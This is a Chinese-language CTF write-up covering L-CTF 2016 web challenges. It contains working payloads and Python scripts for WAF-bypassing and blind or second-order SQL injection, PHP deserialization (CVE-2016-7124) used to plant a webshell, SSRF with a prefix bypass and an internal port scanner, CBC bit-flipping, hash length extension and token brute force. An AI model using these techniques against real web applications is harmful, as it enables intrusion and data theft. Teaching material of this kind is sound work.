L-ctf2016 Writeup
在大家都为祖国母亲庆生的时候,天天都有人问我:你干嘛呢?出来玩呀….我表示(╯‵□′)╯︵┻━┻,稍微有点儿遗憾的是又刚好错过了小礼物的边缘线,做了2道高分web题还挺开心的o(^▽^)┛,不过xd的服务器也是蛮厉害…题题都要爆破还没怎么崩过…强无敌…
WEB
web1 Can you get the flag
稍微研究下,发现是注入
Password :' oorr (seleselectct/**/ sleep(100))#
显错注入
payload: '/**/anandd/**/updaupdatexmltexml(0,concat(0x27,(seleselectct/**/version())),0)%23
注入得到了账号和密码
admin
we1c0me%_#2&_@LCTF
登陆上去发现并没有结束,但是发现如果flag为负的,那么会提示password wrong,那么就跑吧
Python跑
import requests
flag=0
for pwd in xrange(0,9999):
a=str(pwd)
b=a.zfill(4)
r=requests.post(
'http://web.l-ctf.com:6699/ret.php',
data={'selectNum': '-1', 'passwd': b , 'submit': 'Buy+It' },
)
response = unicode(r.content, 'utf-8')
if 'password wrong' not in response:
flag=1
print 'password is',b,response
break
elif(flag==0):
print 'trying',b
else:
break
得到密码 5487
flag is here: LCTF{Th1nks_@f0r_#your_%supp0rt}
我控几不主我及几啦
说实话,开始翻了翻感觉waf太绝了….什么都有过滤,简直没法注,看到那么多人都做出来了,目测是sqlmap,跑一跑还真的注到了
Database: xdctfweb150
Table: articles
[4 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| auther | varchar(20) |
| content | text |
| id | int(2) |
| title | varchar(50) |
+---------+-------------+
Database: xdctfweb150
Table: where
[1 column]
+--------+-------------+
| Column | Type |
+--------+-------------+
| secret | varchar(80) |
+--------+-------------+
Database: xdctfweb150
Table: where
[1 entry]
+--------------------------------+
| secret |
+--------------------------------+
| LCTF{H0w_D0_You_Bypass_My_w4f} |
+--------------------------------+
不知道做出来的那么多人有多少是知道怎么回事的。
事实上,那个被waf拦截的返回是在查询之后的,所以即便他waf拦截了返回,我们仍然可以用时间盲注来跑数据,sqlmap跑一会儿就出来了
payload:
http://web.l-ctf.com:6699/LCTF150/?id=3%20AND%202362%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28table_name%20AS%20CHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%3D0x7864637466776562313530%20LIMIT%200%2C1%29%2C3%2C1%29%29%3E54%29%2CSLEEP%283%29%2C2362%29
睡过了
开始一直没搞明白为啥是这样,怎么改都没用,后来队友有了思路,题目是CVE-2016-7124改的,前两天还挺有名的一个洞,因为360的文章是曲解,所以我影响还挺深的。
具体分析贴个队友的博客吧 http://lazysheep.cc/2016/09/13/0x22/
实话说不知道怎么解释,贴上getshell后拿到的源码吧
index.php
<h1>这是一个后门(不过好像不能直接用啊......</h1>
<hr />
<form action="" method='POST'>
Filename:<input type='text' name='filename' /><br/>
Filedata:<input type='text' name='filedata' /><br/>
<input type="submit" name='submit' />
</form>
<?php
class key{}
if($_POST['filename'] && $_POST['filedata']){
$key=new key();
$key->filename=$_POST['filename'];
$key->filedata=$_POST['filedata'];
$s=serialize($key);
echo "<meta http-equiv='refresh' content='0.1;url=upload.php?key=".$s."'>";
}
?>
这里就是一个简单的序列化过程
<?php
class key{
var $filename;
var $filedata;
function __wakeup(){
echo "Waking up.........<br/>";
foreach(get_object_vars($this) as $key=>$value){
$this->$key = null;
echo $key." => ".$this->$key;
echo "<br />";
}
echo "Finished<br/>";
echo "<br/>";
}
function __destruct(){
//Do something
$this->my_file_put_contents($this->filename,$this->filedata);
}
function my_file_put_contents($file_path,$data){
if($file_path && $data){
$rs=file_put_contents('./upload/'.md5($this->filename).'.php',$this->filedata);
echo $rs." written";
}
}
}
$key=$_GET['key'];
preg_match('/O:\d+:/',$key,$match);
if($match){
exit("据说这种key加也行<br/>");
}
$Obj=unserialize($key);
?>
payload:
http://web.l-ctf.com:10197/ctf/upload.php?key=O:%2b3:"key":3:{S:8:"filename";s:2:"ss";s:8:"filedata";s:19:"aaasdfasdfasdfasaaa";}
wakeup方法被跳过了,那么写webshell进去
但是进去我们又遇到了问题,web目录下我们没找到flag,怎么办呢
绕opendir的限制!!
321=$f=[];$d=new DirectoryIterator("glob:///var/www/flag/*");var_dump($d);
苏打学姐的网站
苏打学姐很文艺, 搞了一个图片小站,但是智商经常不上线。不知是为了方便咋的、经常留一些奇怪的东西下来,来吧,砸了他这个图片站的场子!! http://web.l-ctf.com:14144/
因为题不是我做的,所以我就按照队友文档中的思路来写了
首先我们发现
http://web.l-ctf.com:14144/img.php?id=file/5253d1eb29230.jpg 应该是路径解析问题,存在http://web.l-ctf.com:14144/file/tips.txt
但是怎么都读不到,后来发现虽然不知道后台怎么做的处理,但是可以双管道得到文件内容,我猜有可能是后台坐了前缀检查,payload
http://shimakaze.labs/lctf/parse.php?id=php://resource=file/5253d1eb29230.jpg/resource=file/tips.txt
读了tips.txt,得到
admin.php.txt
Admin.php.txt
<?php
error_reporting(0);
$Key = "xxxxxxxxxxxxxxxxx";
$iv = "xxxxxxxxxxxxxxxx";
$v = "2016niandiqijiequanguowangluoanquandasai0123456789abcdef-->xdctfxdnum=2015auid=4;xdctfxdctf";
$en_Result = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$Key, $v, MCRYPT_MODE_CBC, $iv);
$enc = base64_encode($en_Result);
$en_Data = base64_decode($_COOKIE[user]);
$de_Result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$Key, $en_Data, MCRYPT_MODE_CBC, $iv);
$b = array();
$b = isset($_COOKIE[user])?$de_Result:$enc;
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
echo '</br><h3>ID: '.$num1."</h3><br>";
if ($num1 == 1 && $num2 == 2016){
die ("shen mi li wu !");
}
else{
echo "HELLO CLIENT";
}
setcookie("user",$enc);
?>%
img.php
<?php
if(isset($_GET["id"]) && (strpos($_GET["id"],'jpg') !== false))
{
preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($_GET["id"],'\n'), $match);
if (isset($match[1]))
$_GET["id"] = $match[1];
if (file_exists("./" . $_GET["id"]) == false)
die("File Not Found");
header('Content-Type: image/jpg');
header('Content-Length: '.filesize($_GET["id"]));
header('Content-Disposition: filename='.$_GET["id"]);
if (strlen($_GET["id"])>32){
die ("Too Long!!!!!");
}
else{
$data = file_get_contents($_GET["id"]);
echo $data;
}
}
else
{
echo "File Not Found";
}
?>
懂的人看一眼就能明白,cbc字节反转攻击,原理就不多说了,之前三个白帽遇到过,hctf2015也曾经出过
核心在这里
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
只要构造后16位中的13bytes为uid=1num=2016 就可以成功通过判断
跑一跑就好了,然后到了文件上传
上传一个.user.ini
上传一个同名文件
get shell
http://web.l-ctf.com:14144/upload_12b1d89eb3a43eb6220b5952a5a13785/upload/index.php?a=assert
Post: fuckddog=phpinfo();
Headpic
这题基本做了我一个下午一个晚上…最气的是这题的第一第二步完全分离,所以我们做了第二步后,在flag前面等了好久,一直到tips放了才反应过来是做错了顺序…只可惜本来是能拿一血,最后堪堪拿下3血┑( ̄Д  ̄)┍…
二次注入
看到这个提示的时候我一直是蒙蔽的,因为在我的观点里,题目应该是ssrf…
仔细分析题目逻辑:
注册(insert)->登陆(select)->登陆后给一个头像地址(存在?select?还是注册就默认插入了)->修改头像(update)
知道做出来我都不能肯定是不是存在第三部分,但是测试发现第四步确实存在,而且update时的where条件是username = $user,这里存在二次注入。
那么问题来了…这里的判断条件必须请求修改后的头像内容,来判断盲注请求是否成功,也就是说,每次注入我们都必须请求4次,还是盲注,当然这里还有个问题就是验证码的问题
- 绕过验证码
这里还是蓝猫师傅抬了我一手,当时我正在研究绕过验证码的,蓝猫师傅告诉我,如果你不带session去登陆注册的话,验证码的判定就没用了。
这里也很好理解,一般写代码的人只考滤正常人的请求方式,
代码一般长这样
if(!isset($_SESSION)){
设置session,
然后跳回
}
这样不带着session去登陆注册就可以了。
下面就是编写脚本时间了,由于和平时的盲注不一样,我自己写的工具用不上,所以没办法,我只能自己又写了一个脚本,这样没有二分法,所以每次个字母都要100次请求,所以全程注入都在只能改脚本,跳过各种单词,还算友好的是并没有修改一些单词,还可以
import requests
from bs4 import BeautifulSoup
import base64
import Queue
import threading
def code(s):
url = "http://web.l-ctf.com:55533/verify.php"
cookies = {"PHPSESSID": "ljf888c57d6pd9qrcltgrsadd2"}
code = s.get(url, cookies=cookies)
with open("code.png", "wb") as ff:
ff.write(code.content)
img = Image.open("code.png")
code_string = pytesseract.image_to_string(img)
print code_string
def register(payload):
url1 = "http://web.l-ctf.com:55533/check.php"
data = {"user": payload, "pass": "dsa", "typer": "0", "register": "%E6%B3%A8%E5%86%8C"}
r = requests.post(url1,data = data)
def login(payload):
s = requests.Session()
url1 = "http://web.l-ctf.com:55533/check.php"
url2 = "http://web.l-ctf.com:55533/save.php"
url3 = "http://web.l-ctf.com:55533/ucenter.php"
data = {"user": payload, "pass": "dsa", "typer": "0", "login": "%E7%99%BB%E9%99%86"}
r = s.post(url1, data = data)
Session = r.headers['Set-Cookie']
data2 = {"headpic":"http://web.l-ctf.com:55533@115.28.78.16/ddog.php"}
r = s.post(url2, data = data2, cookies={"PHPSESSID": Session[10:-8]})
r = s.get(url3, cookies={"PHPSESSID": Session[10:-8]})
bs0bj = BeautifulSoup(r.text, "lxml")
content = base64.b64decode(bs0bj.img['src'][23:])
if len(content) > 0:
return True
else:
return False
def test(payload):
payload = payload.replace(" ", "/**/")
print payload
register(payload)
if login(payload):
return False
else:
return True
def ppayload():
# for i in xrange(30):
# payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.SCHEMATA limit 0,1)>" + str(i) + ")#"
# if test(payload):
# database_number = i
# break
# print "database_number:" + str(database_number)
database_number = 2
# for i in range(1,2):
# for j in xrange(50):
# payload = "nishigeshenmegui' or ((SELECT length(SCHEMA_NAME) from information_schema.SCHEMATA limit " + str(i) + ",1)>" + str(j) + ")#"
# if test(payload):
# database_length = j
# break
# print "[*]dababase_length: "+ str(database_length)
# database = ""
# for j in xrange(database_length):
# for r in xrange(7):
# pass
# for k in range(30,130):
# payload = "nishigeshenmegui' or ((select ascii(mid((SELECT SCHEMA_NAME from information_schema.SCHEMATA limit " + str(i) + ",1),"+ str(j) +",1)))>" + str(k) + ")#"
# if test(payload):
# database += chr(k)
# break
# print "[*]database:"+database
# for i in xrange(30):
# payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.TABLES where TABLE_SCHEMA = 'web_200' limit 0,1)>" + str(i) + ")#"
# if test(payload):
# table_number = i
# break
# print "table_number:" + str(table_number)
# table_number = 2
# for i in range(0,table_number):
# # for j in xrange(50):
# payload = "nishigeshenmegui' or ((SELECT length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'web_200' limit " + str(i) + ",1)>" + str(j) + ")#"
# if test(payload):
# table_length = j
# break
# print "[*]table_length: "+ str(table_length)
# table_length = 14
# table = ""
# for j in range(11,table_length):
# for k in range(50,130):
# payload = "nishigeshenmegui' or ((select ascii(mid((SELECT TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'web_200' limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"
# if test(payload):
# table += chr(k)
# print table
# break
# # print "[*]table:" + table
# for i in xrange(30):
# payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200' && TABLE_NAME = 'flag_admin_233' limit 0,1)>" + str(i) + ")#"
# if test(payload):
# conlum_number = i
# break
# conlum_number = 3
# print "conlum_number:" + str(conlum_number)
# for i in range(2,conlum_number):
# for j in xrange(50):
# if i == 2:
# conlum_length = 4
# break
# payload = "nishigeshenmegui' or ((SELECT length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200' limit " + str(i) + ",1)>" + str(j) + ")#"
# if test(payload):
# conlum_length = j
# break
# print "[*]conlum_length: "+ str(conlum_length)
# column = ""
# for j in range(conlum_length):
# for k in range(90,130):
# payload = "nishigeshenmegui' or ((select ascii(mid((SELECT COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200' limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"
# if test(payload):
# column += chr(k)
# print column
# break
# print "[*]column:" + column
# for i in xrange(30):
# payload = "nishigeshenmegui' or ((SELECT COUNT(*) from flag_admin_233 limit 0,1)>" + str(i) + ")#"
# if test(payload):
# content_number = i
# break
# print "content_number:" + str(content_number)
content_number = 1
number = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]
for i in range(0,content_number):
# for j in xrange(50):
# payload = "nishigeshenmegui' or ((SELECT length(pass) from flag_admin_233 limit " + str(i) + ",1)>" + str(j) + ")#"
# if test(payload):
# content_length = j
# break
content_length =32
print "[*]content_length: "+ str(content_length)
content = ""
for j in range(content_length):
for k in number:
payload = "nishigeshenmegui' or ((select ascii(mid((SELECT pass from flag_admin_233 limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"
if test(payload):
content += chr(k)
print content
break
print "[*]content:" + content
def main():
s = requests.Session()
# code(s)
ppayload()
if __name__ == '__main__':
main()
注入得到
数据库名web_200
表数量2个
table
flag_admin_233
User
Flag_admin_233
Id, admin, pass
admin******
Admin,1admin2016
ssrf
得到用户名和密码后,发现admin.php并不能登陆上去,再robots.txt我们得到了提示
NEQGM33SM5SXIIDUN4QGIZLMMV2GKIDNPEQHAZLSONXW4YLMEBTGS3DFFR2GQYLUOMQHI33PEBRGCZBMNEQGI33OE52CA53BNZ2CA6LPOUQHI3ZAM5SXIIDTMVRXEZLUL5XGK527NZXXI2LDMUXHA2DQ
解base32得到
"i forget to delete my personal file,thats too bad,i don't want you to get secret_new_notice.php"
直接访问发现提示不是本地访问,那么就是ssrf。
测试修改发现有前缀检查
头像必须是http://web.l-ctf.com:55533开头的,但是我们可以用@来绕过
当时第一反应是扫内网端口,如果内网有redis什么的,可以getshell
附上扫内网端口脚本
import requests
from bs4 import BeautifulSoup
import base64
urll = "http://web.l-ctf.com:55533@127.0.0.1:"
url1 = "http://web.l-ctf.com:55533/save.php"
url2 = "http://web.l-ctf.com:55533/ucenter.php"
cookie = {"PHPSESSID": "ljf888c57d6pd9qrcltgrsadd2"}
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Connection": "keep-alive"}
s = requests.Session()
# for i in range(22,65535):
data = {"headpic": urll + str("80")}
r = s.post(url1, data = data, cookies=cookie)
r = s.get(url2, headers=header, cookies=cookie)
bs0bj = BeautifulSoup(r.text, "lxml")
try:
content = base64.b64decode(bs0bj.img['src'][23:])
print content
except:
s = 1
得到提示
i found that my account is too weak,so i make a trick,add something at the end of username<pre>$user=='admin******'?</pre>
实话说这里是先做到的,所以当时第一反应是要跑这个admin,于是跑了好久跑完都没跑到,直接传数组get flag
o(^▽^)┛
你一定不能来这
上来啥都找不到,没办法扫目录,事实证明,这题确实是扫目录,扫啊,扫啊得到
http://web.l-ctf.com:33333/crossdomain.xml
得到
http://xdctfweb.xd-a8.com/
得到download.php
<?php
require("common.php");
function varify_hash($filename,$hash,$secret){
if(strpos($filename,"www.rar")>-1){
if($hash === md5($secret.$filename)){
download("www.rar");
}
else
exit("mac不对,你根本不是xdsec的人。") ;
}
elseif(strpos($filename,"download.php")>-1){
if($hash === md5($secret.$filename)){
download("download.php");
}
else
exit("mac不对,你根本不是xdsec的人。");
}
else
exit("没有你要下载的文件。");
}
$filename = urldecode($_GET['filename']);
$hash = $_GET['mac'];
if(!empty($filename) && !empty($hash)){
varify_hash($filename,$hash,$secret);
}
else
exit("参数为空");
?>
司机告诉我这是hash长度拓展攻击,找到一个工具 http://www.cnblogs.com/pcat/p/5478509.html
由于不知道密钥长度,直接写脚本跑
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import hashpumpy
import urllib
import requests
url = "http://xdctfweb.xd-a8.com/download.php?filename=%s&mac=%s"
for x in xrange(52):
h, f = hashpumpy.hashpump("f30a38d3cdcb25cf067468c2f108e1f5", "download.php", "www.rar", x)
r = requests.get(url%(urllib.quote(f), h))
print x
print r.content
得到
Payload: http://xdctfweb.xd-a8.com/download.php?filename=download.php%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F0%00%00%00%00%00%00%00www.rar&mac=1f35a8fa0b3eedd9d25b5fe910ade0e7
下载www.rar发现有密码,这步让我感觉非常傻逼...强行加misc,就和后面的web强加pwn一样,没啥意义,安misc的逻辑,strings一下发现了不寻常的东西
Strings www.rar
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+$._$+(![]+"")[$._$_]+$.$$$_+"."+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$__+$.$$$+"(\\\"\\"+$.__$+$._$$+$.__$+$._$+"\\"+$.__$+$._$_+$.$_$+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$__+$.$$$+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$.$__+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$._$$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.__$+$.$$_+$.__+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$._$$+$.__+$.$$$_+$.$$_$+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$.$__+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+$.$$$$+"\\"+$.$__+$.___+"\\"+$.__$+$._$$+$.__$+$._$+$._+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.$__+$.___+$.$$_$+$.$$$_+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.__$+$.$$$+$.$$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+$.__+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$_$+"\\"+$.__$+$.___+$.$_$+".\\\"\\"+$.$__+$.___+")"+"\"")())();
js的jjencode 得到
YoU CAN gET Some INterESted Thing If You CAN deCOde Me In tImE.
培根密码,应该是以前的xdctf出的,总之非常眼熟
XXDDCCTTFF
得到源码后发现非常简单,但是设置非常傻逼…
先看源码
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>管理员密码重置</title>
</head>
<center><h1>管理员密码重置</h1></center></br></br></br>
<form action="" method="POST">
<center>
<label for="email">管理员邮箱:</label>
<input type="textbox" name="email" /></br></br></br>
<input type="submit" name="submit" value="提交" />
</center>
</form>
<?php
require('sql.php');
require('function.php');
if(!empty($_POST['email'])){
$email = $_POST['email'];
if($email === "omego952734@xdsec.club"){
$Time_check = verifyTime();
//检查有没有超过30分钟
if($Time_check){
$date = time();
$rand=(string)rand(1,10000);
$token = md5($date.$rand);
$updateDate = "UPDATE `XDctf_web_350`.`user` SET `date` =".$date." WHERE `user`.`id` = 0;";
$query = mysql_query($updateDate);
$updateToken = "UPDATE `XDctf_web_350`.`user` SET `token` =".'\''.$token.'\''." WHERE `user`.`id` = 0;";
$query = mysql_query($updateToken);
echo "<script>alert('重置密码链接已经发送。有效期为30分钟。');</script>";
}
else
echo "<script>alert('链接还没过有效期,请登录邮箱查看。');</script>";
}
else
echo "<script>alert('管理员的邮箱根本不是这个。');</script>";
}
?>
checktoken.php
<?php
require('sql.php');
require('secret.php');
if(!empty($_GET['email']) && !empty($_GET['id']) && !empty($_GET['token']))
{
$email = $result->email;
$id = $result->id;
$token = $result->token;
if($id === '0'){
if($_GET['email']===$email){
if($_GET['token']===$token)
echo $flag;
else
echo "token不对。";
}
else
echo "邮箱不对。";
}
else
echo "你想重置一个非创始人的密码,可这又有什么用呢?";
}
else
echo "参数不完整。";
?>
这里有个很傻逼的设置,一个round30分钟,只有一个能获得重置邮件的时间戳,即便是response的时间,也会有上下的+-几的时间差,导致一个round往往要跑40000、50000,而当时我5个round拿到3个,最后改脚本到多线程,20分钟跑了40000都没得到,后来无奈私聊出题人,将一个round改为10分钟,然后1000次请求,最后跑了6000才跑到,也就是理论上10000我是跑不到的….贴上脚步
import requests
import hashlib
import Queue
import threading
import time
url = "http://web.l-ctf.com:33333/checktoken.php?id=0x00&email=omego952734@xdsec.club&token="
data = 1475406987
words = Queue.Queue()
for j in range(data-1,data+1):
for i in range(1,1000):
m = hashlib.md5()
m.update(str(j)+str(i))
token = m.hexdigest()
urll = url+token
words.put(urll)
print "word suceess"
def brufer(words):
z = 1
while not words.empty():
z+=1
if z == 1000:
print "1000 pass"
z = 0
url = words.get()
s = requests.Session()
try:
r = s.post(url, timeout=4)
except:
print "[!]error:" + url
words.put(url)
continue
if "token" not in r.text:
print "[*]Done" + url
print r.text
exit(0)
#print "[!]pass: " + url
time.sleep(1)
print "something error..."
exit(0)
for i in range(0,59):
t = threading.Thread(target = brufer, args=(words,))
t.start()
无话可说
misc
有点儿写不动了,有空再写吧…